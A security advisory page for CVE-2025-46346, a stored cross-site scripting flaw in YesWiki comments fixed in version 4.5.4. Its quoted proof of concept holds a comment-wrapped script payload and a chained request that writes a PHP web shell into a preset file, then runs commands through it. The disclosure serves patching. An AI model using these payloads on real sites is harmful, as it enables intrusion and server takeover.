yeswiki/yeswiki fixed: 4.5.4 
Upgrade yeswiki/yeswiki to 4.5.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-46346, inspect your project dependencies for Yeswiki/yeswiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.4), your application is affected.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment. The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of `<script>` tags, but does not account for payloads obfuscated using JavaScript block comments like `/* JavaScriptPayload */`. ### PoC Navigate to a site and page that allows comments and place this in the comments section and submit it: `/*<script>alert('pizzapower')</script>*/` Upon submitting to the page, it will run. And then upon every page visit, it will run. ### Impact An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.: ``` /*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/ ``` Then you can visit `http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id` and see the output of the ID command.
